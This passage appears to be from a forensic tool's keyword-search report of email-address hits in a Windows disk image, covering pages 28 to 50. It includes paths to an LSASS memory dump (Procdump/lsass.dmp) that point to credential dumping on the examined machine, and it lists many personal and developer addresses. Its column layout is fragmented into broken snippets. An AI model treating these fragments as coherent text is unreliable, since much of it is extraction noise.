ion electronica1%0# /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

«acraiz@suscerte.gob.ve«0 windows-crypt32-
070216153551z 2702 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cry
pt32.dll
acrse@economia.gob.mx
T
a
Preview Source File
g
s
ria de economia1$0" /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«acrse@economia.gob.mx«0
050508000000z 2505
ria de economia1$0" /
«acrse@economia.gob.mx«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsa
050508000000z 2505 ss.dmp
ria de economia1$0" /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

050508000000z 2505
ria de economia1$0" /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

050508000000z 2505
ria de economia1$0" /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«acrse@economia.gob.mx«0 windows-crypt32-
050508000000z 2505 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cr
Page 28/145
T
a
Preview Source File
g
s
ypt32.dll
ria de economia1$0" /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

«acrse@economia.gob.mx«0 windows-crypt32-
050508000000z 2505 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cr
ypt32.dll
adad_1976@griepp.pl
T
a
Preview Source File
g
s
itoldzie, odpisz na /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«adad_1976@griepp.pl« shared/ink/Alphabet.xml
. larry'emu t
itoldzie, odpisz na /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«adad_1976@griepp.pl« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
. larry'emu t e7da144/Alphabet.xml
adavex_467@riekk.pl
T
a
Preview Source File
g
s
napisz do mnie - /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«adavex_467@riekk.pl shared/ink/Alphabet.xml
«. jaka jest {
napisz do mnie - /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«adavex_467@riekk.pl t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
«. jaka jest { 7da144/Alphabet.xml
Page 29/145
admin@onaudience.com
Ta
Preview Source File
gs
.onaudience.com1#0! /
«admin@onaudience.com«0 kj}z qkmk ;h c (0& img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdu
mp/lsass.dmp
.onaudience.com1#0! /
«admin@onaudience.com«0 kj}z qkmk ;h c (0& img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdu
mp/lsass.zip/lsass.dmp
admin_ca@mtin.es
T
a
Preview Source File
g
s
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«admin_ca@mtin.es«0 Defender/Scans/mpcache-
admin_ca@mtin.es0 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«admin_ca@mtin.es«0
admin_ca@mtin.es0
.mtin.es/mtin/ocsp0 /
«admin_ca@mtin.es«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
admin_ca@mtin.es0 dmp
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
admin_ca@mtin.es0
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
admin_ca@mtin.es0
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«admin_ca@mtin.es«0 crypt32-
admin_ca@mtin.es0 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt
32.dll
Page 30/145
T
a
Preview Source File
g
s
.mtin.es/mtin/ocsp0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«admin_ca@mtin.es«0 crypt32-
admin_ca@mtin.es0 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
32.dll
aes128-gcm@openssh.com
T
a
Preview Source File
g
s
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

gcm@openssh.com« aes256-
gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keygen.exe

gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

gcm@openssh.
s192-ctr,aes256-ctr,«aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

gcm@openssh.com«,aes256-
gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

gcm@openssh.
Page 31/145
T
a
Preview Source File
g
s
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-add.exe

gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-agent.exe

gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

gcm@openssh.com« aes256- keygen.exe
gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

gcm@openssh.com« aes256- keyscan.exe
gcm@openssh.
s192-ctr,aes256-ctr,«aes128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
gcm@openssh.com«,aes256-
gcm@openssh.
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

gcm@openssh.com« aes256- components-
gcm@openssh. onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e35
c/ssh-keyscan.exe
s192-ctr,aes256-ctr,«aes128- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
gcm@openssh.com«,aes256- components-
gcm@openssh. onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e35
c/ssh.exe
s128-ctr aes192-ctr «aes128- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-common-

gcm@openssh. onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e8c4
78/ssh-add.exe

Page 32/145
T
a
Preview Source File
g
s
78/ssh-agent.exe

78/ssh-keygen.exe
aes256-gcm@openssh.com
T
a
Preview Source File
g
s
128-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-add.exe

«aes256-gcm@openssh.com«
chacha20-poly1305@o
128-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-agent.exe

chacha20-poly1305@o
128-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keygen.exe

chacha20-poly1305@o
128-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

chacha20-poly1305@o
128- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

gcm@openssh.com,«aes256-
gcm@openssh.com«
fill_default_option
128-gcm@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

chacha20-poly1305@o
Page 33/145
T
a
Preview Source File
g
s
128-gcm@openssh.com /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-add.exe
chacha20-poly1305@o
128-gcm@openssh.com /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-
«aes256-gcm@openssh.com« agent.exe
chacha20-poly1305@o
«aes256-gcm@openssh.com« keygen.exe
chacha20-poly1305@o
«aes256-gcm@openssh.com« keyscan.exe
chacha20-poly1305@o
128- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
gcm@openssh.com,«aes256-
gcm@openssh.com« umac-64-
etm@openssh
128-gcm@openssh.com /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«aes256-gcm@openssh.com« components-
chacha20-poly1305@o onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e3
5c/ssh-keyscan.exe
128- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
gcm@openssh.com,«aes256- components-
gcm@openssh.com« umac-64- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e3
etm@openssh 5c/ssh.exe
128-gcm@openssh.com /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-
«aes256-gcm@openssh.com« common-components-
chacha20-poly1305@o onecore_31bf3856ad364e35_10.0.17763.1_none_ad6c66b207e8c
478/ssh-add.exe
Page 34/145
T
a
Preview Source File
g
s
478/ssh-agent.exe
478/ssh-keygen.exe
aleksey@aleksey.com
Ta
Preview Source File
gs
2016 aleksey sanin /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«aleksey@aleksey.com«>. all rights Tools/open_source_licenses.txt
reserv
alexl@redhat.com
Ta
Preview Source File
gs
e from alex larson /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«alexl@redhat.com«>. Tools/open_source_licenses.txt
http://mail.gnome
alguem@acme.com
T
a
Preview Source File
g
s
ista para continuar /

«alguem@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/
01.01.20007subiect prnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
Page 35/145
T
a
Preview Source File
g
s

«alguem@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRE
01.01.20007subiect S.DLL

«alguem@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_3
01.01.20007subiect 1bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FX
SRES.DLL
alguien@acme.com
T
a
Preview Source File
g
s
atarios de la lista /
«alguien@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/
01/01/20007assunto prnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
«alguien@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRE
01/01/20007assunto S.DLL
«alguien@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_3
01/01/20007assunto 1bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FX
SRES.DLL
amd@ppm.de
Ta
Preview Source File
gs
0r0 aamdppm_inst.nt «amd@ppm.de« /

escp currentcontr@o img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/4
Page 36/145
amirjanyan@gmail.com
T
a
Preview Source File
g
s
rutyun amirjanyan, /
(«amirjanyan@gmail.com«) img_disk.raw/vol_vol7/Windows/SystemApps/Microsoft.MicrosoftEdgeD
based on code init evToolsClient_8wekyb3d8bbwe/23/common/monaco-
editor/min/vs/language/html/htmlWorker.js
rutyun amirjanyan, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

(«amirjanyan@gmail.com«) m..oolsclient.appxmain_31bf3856ad364e35_10.0.17763.1_none_b0a21
based on code init 16e8181c150/htmlWorker.js
rutyun amirjanyan, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

(«amirjanyan@gmail.com«) m..oolsclient.appxmain_31bf3856ad364e35_10.0.17763.348_none_34a
based on code init 7b549aeff8c8c/htmlWorker.js
an@xyz.com.br
T
a
Preview Source File
g
s
fo; não topógrafo! /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«an@xyz.com.br« shared/ink/Alphabet.xml
censo aponta
fo; não topógrafo! /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«an@xyz.com.br« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
censo aponta 7da144/Alphabet.xml
ancert@ancert.com
T
a
Preview Source File
g
s
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«ancert@ancert.com«0 Defender/Scans/mpcache-
lmb0 http://www.an 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
Page 37/145
T
a
Preview Source File
g
s
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«ancert@ancert.com«0
lmb0 http://www.an
i}" rjna ?11; 6d<'e /

«ancert@ancert.com«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
lmb0 http://www.an dmp
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

lmb0 http://www.an
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

lmb0 http://www.an
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«ancert@ancert.com«0 crypt32-
lmb0 http://www.an dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt3
2.dll
i}" rjna ?11; 6d<'e /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«ancert@ancert.com«0 crypt32-
lmb0 http://www.an dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt3
2.dll
andreas@contoso.com
T
a
Preview Source File
g
s
red. contact /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«andreas@contoso.co shared/ink/Alphabet.xml
m« for help. wi
Page 38/145
T
a
Preview Source File
g
s
red. contact /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«andreas@contoso.co t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
m« for help. wi 7da144/Alphabet.xml
annel@jbose.name
Ta
Preview Source File
gs
c upporte opec alch /

«annel@jbose.name« microso8ft-dg img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/4
with 20eca21891c0180_blobs.bin
appro@openssl.org
T
a
Preview Source File
g
s
_64, cryptogams by /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«appro@openssl.org«> Tools/libeay32.dll
vwsuatauavaw vwsua
n by andy polyakov /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«appro@openssl.org«> for Tools/open_source_licenses.txt
the openssl pr
_64, cryptogams by /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«appro@openssl.org«> Tools/VMware VGAuth/libeay32.dll
vwsuatauavaw vwsua
x86, cryptogams by /
<«appro@openssl.org«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDriv
usvw \$ 1 \$ 1 _^[ e/18.143.0717.0002/libeay32.dll
x86, cryptogams by /
<«appro@openssl.org«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDriv
usvw \$ 1 \$ 1 _^[ e/18.143.0717.0002_1/libeay32.dll
Page 39/145
T
a
Preview Source File
g
s
_64, cryptogams by /
<«appro@openssl.org«>fffffff img_disk.raw/vol_vol7/Windows/System32/Macromed/Flash/Flash.o
fffffff vws cx
_64, cryptogams by /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_adobe-flash-for-

<«appro@openssl.org«>fffffff windows_31bf3856ad364e35_10.0.17763.1_none_1c65cdebc1b8ff
fffffff vws c5/Flash.ocx
appversion@contextrequestdiagnosticsenabled8diagnosticscapabilityenabledlc
ontextresponselandingpagerelativepath.land
T
a
Preview Source File
g
s
xtrequestappversion /img_disk.raw/vol_vol7/Program
«appversion@contextrequestdiagnosticsenabled8diagno Files/WindowsApps/Microsoft.GetHelp_10.
sticscapabilityenabledlcontextresponselandingpagerelativ 1706.10441.0_x64__8wekyb3d8bbwe/Get
epath.land«ingpagerelativepath: Help.dll
aqv_968@wewew.pl
T
a
Preview Source File
g
s
służbowy adres to - /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«aqv_968@wewew.pl«. shared/ink/Alphabet.xml
w § 13 zapi
służbowy adres to - /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«aqv_968@wewew.pl«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
w § 13 zapi e7da144/Alphabet.xml
Page 40/145
ard.biesheuvel@linaro.org
Ta
Preview Source File
gs
by ard biesheuvel /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«ard.biesheuvel@linaro.org«>. Tools/open_source_licenses.txt
permission to use
artes@contoso.es
T
a
Preview Source File
g
s
use nuestro correo: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«artes@contoso.es« shared/ink/Alphabet.xml
xian es una
use nuestro correo: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«artes@contoso.es« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
xian es una e7da144/Alphabet.xml
artes@contoso.mx
T
a
Preview Source File
g
s
use nuestro correo: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«artes@contoso.mx« shared/ink/Alphabet.xml
xian es una
use nuestro correo: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«artes@contoso.mx« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
xian es una e7da144/Alphabet.xml
auth-agent-req@openssh.com
T
a
Preview Source File
g
s
n agent forwarding. «auth- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

agent-req@openssh.com«
Page 41/145
T
a
Preview Source File
g
s
ssh_session2_setup
n agent forwarding. «auth- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

agent-req@openssh.com« term
/dev/null dup(
n agent forwarding. «auth- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

agent-req@openssh.com« term components-
/dev/null dup( onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e3
5c/ssh.exe
auth-agent@openssh.com
T
a
Preview Source File
g
s
an %d win %d max %d «auth- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

agent@openssh.com« proxied
to downstre
ccepted auth socket «auth- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

agent@openssh.com«
channel_post_auth_l
an %d win %d max %d «auth- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

agent@openssh.com« proxied
to downstre
an %d win %d max %d «auth- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

agent@openssh.com« proxied components-
to downstre onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e3
5c/ssh.exe
Page 42/145
b199c4f03a024452b8de58650bf0a66f@sentry.io
T
a
Preview Source File
g
s
n.min.js', /
'https://«b199c4f03a024452b8de58 img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Mic
650bf0a66f@sentry.io«/206795', rosoft.MicrosoftEdge_8wekyb3d8bbwe/AC/#!
{"environm 001/MicrosoftEdge/Cache/KBBFFLP4/index[1].htm
b__331_0pcheckmodedeactivatedonbackbuttonproperty4ischeckmodeenabledp
roperty.itemcheckedpathproperty@checkboxesindicatorstyleproperty.show
T
a
Preview Source File
g
s
gindicatorcontainer>«b__331_0pcheckmodedeactivatedon /img_disk.raw/vol_vol7/Program
backbuttonproperty4ischeckmodeenabledproperty.itemche Files/WindowsApps/Microsoft.WindowsFe
ckedpathproperty@checkboxesindicatorstyleproperty.sho edbackHub_1.1805.2331.0_x64__8weky
w«checkboxesthreshold6 b3d8bbwe/PilotshubApp.dll
b_xyz@msn.com
T
a
Preview Source File
g
s
e zijn e-mailadres: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«b_xyz@msn.com«. shared/ink/Alphabet.xml
het publiek
e zijn e-mailadres: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«b_xyz@msn.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
het publiek 7da144/Alphabet.xml
balajib@microsoft.com
T
a
Preview Source File
g
s
ebb85995028c_owner: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«balajib@microsoft.com« hvsi-
Page 43/145
T
a
Preview Source File
g
s
custom:msip_label_f office_31bf3856ad364e35_10.0.17763.1_none_5c949f977156f0f5/WD
AGPlaceholder.docx
AGPlaceholder.pptx
AGPlaceholder.xlsx
custom:msip_label_f office_31bf3856ad364e35_10.0.17763.592_none_e05e35e69f02aa2a/
WDAGPlaceholder.docx
WDAGPlaceholder.pptx
WDAGPlaceholder.xlsx
bellox_75@example.com
T
a
Preview Source File
g
s
rizzo elettronico è /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«bellox_75@example.co shared/ink/Alphabet.xml
m«? trovò subit
Page 44/145
T
a
Preview Source File
g
s
rizzo elettronico è /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«bellox_75@example.co t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
m«? trovò subit 1e7da144/Alphabet.xml
benjamin@sipsolutions.net
Ta
Preview Source File
gs
2007 benjamin berg /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«benjamin@sipsolutions.net«> this library Tools/open_source_licenses.txt
is f
benutzer@contoso.com
T
a
Preview Source File
g
s
nmicrosoft.com oder /img_disk.raw/vol_vol7/Program

«benutzer@contoso.co Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
m« besitzen. korrigier wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Shared/OFFICE16/MSOIDRES.DLL
benutzer@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
-id muss das format /img_disk.raw/vol_vol7/Program

«benutzer@contoso.onmicro Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64
soft.com« oder __8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
benutzer@conto Shared/OFFICE16/MSOIDRES.DLL
bingieteam@microsoft.com
Ta
Preview Source File
gs
instrumentation1'0% /
«bingieteam@microsoft.com«0 |e}vn4 img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Micro
Page 45/145
Ta
Preview Source File
gs
9un"u$ l0j0 soft/Windows/UsrClass.dat
instrumentation1'0% /
«bingieteam@microsoft.com«0 |e}vn4 img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Micro
9un"u$ l0j0 soft/Windows/UsrClass.dat.LOG1
birisi@acme.com
T
a
Preview Source File
g
s
eden al1 lar1 kart1 /

«birisi@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/p
01.01.2000"" 0-9 v rnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL

«birisi@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES
01.01.2000"" 0-9 v .DLL

«birisi@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01.01.2000"" 0-9 v bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXSR
ES.DLL
bjoern@hoehrmann.de
T
a
Preview Source File
g
s
9 bjoern hoehrmann /img_disk.raw/vol_vol7/Program

<«bjoern@hoehrmann.de«> Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003
permission is her .0_x64__8wekyb3d8bbwe/resources.pri
Page 46/145
bkoo@5ok0.cf
T
a
Preview Source File
g
s
\u z^zca +o!/f' ; /img_disk.raw/vol_vol7/Windows/Fonts/msyhl.ttc

=^«bkoo@5ok0.cf«ûmm
8mll f@@^^ )##=
\u z^zca +o!/f' ; /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

=^«bkoo@5ok0.cf«ûmm f..microsoftyaheilight_31bf3856ad364e35_10.0.17763.1_none_46e80da
8mll f@@^^ )##= 6cb4ac01f/msyhl.ttc
bmasia@unizar.es
Ta
Preview Source File
gs
) 2010 belen masia /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«bmasia@unizar.es«) copyright (c) Tools/open_source_licenses.txt
2010
bmpfil@ter.co
Ta
Preview Source File
gs
d@3-b32e c04f990bb «bmpfil@ter.co« /

failed to create hi img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
bod@compusol.com.au
Ta
Preview Source File
gs
n by brendan o'dea /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«bod@compusol.com.au«> available Tools/open_source_licenses.txt
from ftp
Page 47/145
bradb@shore.net
Ta
Preview Source File
gs
please report to /img_disk.raw/vol_vol7/Program

«bradb@shore.net« with steps Files/WindowsApps/Microsoft.Print3D_3.0.1521.0_x64__8wekyb3d
to repro 8bbwe/Print3D.exe
branka@negdje.hr
T
a
Preview Source File
g
s
i poslati e-mail na /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«branka@negdje.hr«? shared/ink/Alphabet.xml
c:\windows\
i poslati e-mail na /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«branka@negdje.hr«? t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
c:\windows\ e7da144/Alphabet.xml
bruker@contoso.com
T
a
Preview Source File
g
s
microsoft.com eller /img_disk.raw/vol_vol7/Program

«bruker@contoso.com Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
«. korriger den, og p wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
bruker@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
ha f lgende format: /img_disk.raw/vol_vol7/Program

«bruker@contoso.onmicros Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64_
oft.com« eller _8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
bruker@contos Shared/OFFICE16/MSOIDRES.DLL
Page 48/145
bruno@clisp.org
Ta
Preview Source File
gs
en by bruno haible /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«bruno@clisp.org«>, 2003. this progr Tools/open_source_licenses.txt
btzbu@bv.bw
T
a
Preview Source File
g
s
k blbbm bo*bo bq\bq /img_disk.raw/vol_vol7/Windows/Fonts/YuGothB.ttc

«btzbu@bv.bw« bzdb{|b|
c#nc$>c%<c
k blbbm bo*bo bq\bq /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«btzbu@bv.bw« bzdb{|b| f..uetype-
c#nc$>c%<c yugothicbold_31bf3856ad364e35_10.0.17763.1_none_a01f0b47edff2df8
/YuGothB.ttc
bui@ld.ntt
Ta
Preview Source File
gs
xfc~bl curr` vers $(«bui@ld.ntt« {)\ /

{5f7f3f@7b-1170m img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/420
eca21891c0180_blobs.bin
bv+_mak@aol.com
T
a
Preview Source File
g
s
ik heb het naar /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«bv+_mak@aol.com« shared/ink/Alphabet.xml
gestuurd. in
ik heb het naar /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«bv+_mak@aol.com« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
gestuurd. in 7da144/Alphabet.xml
Page 49/145
bww@9.pa
T
a
Preview Source File
g
s
ja@s 8-!@8t @8la8al /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

«bww@9.pa«9 anmz:
':_g @:4e@:(
ja@s 8-!@8t @8la8al /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«bww@9.pa«9 anmz: speechrecognizer-en-
':_g @:4e@:( us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.n
gr
c-tsai4@uiuc.edu
T
a
Preview Source File
g
s
ity of illinois # «c- /img_disk.raw/vol_vol7/Program

tsai4@uiuc.edu« Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8wek
http://casper.beck yb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Shared/OFFICE16/MSO99LRES.DLL
c@window.show
T
a
Preview Source File
g
s
viousurl dialogtype /img_disk.raw/vol_vol7/Windows/SysWOW64/mshtml.dll

«c@window.show«modald
ialogsessionid
viousurl dialogtype /img_disk.raw/vol_vol7/Windows/System32/mshtml.dll

«c@window.show«modald
ialogsessionid
viousurl dialogtype /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«c@window.show«modald i..tmlrendering-
ialogsessionid legacy_31bf3856ad364e35_11.0.17763.1_none_36e978ca75598f85/ms
Page 50/145
T
a
Preview Source File
g
s
html.dll
viousurl dialogtype /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«c@window.show«modald i..tmlrendering-
ialogsessionid legacy_31bf3856ad364e35_11.0.17763.1_none_413e231ca9ba5180/ms
html.dll
ca@trustwave.com
T
a
Preview Source File
g
s
sha256 ca, level 11 /

«ca@trustwave.com« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Microsof
20190816191730z0v tEdge_8wekyb3d8bbwe/AC/#!
0t 001/Microsoft/CryptnetUrlCache/Content/D388BEBC625C181AB8B0CA40E71
81396_5701F457C4E7A7E601F580C8B8673C55
sha256 ca, level 11 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«ca@trustwave.com«
0 190307104108z
2104
sha256 ca, level 11 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.dmp

«ca@trustwave.com«
0 190307104108z
2104
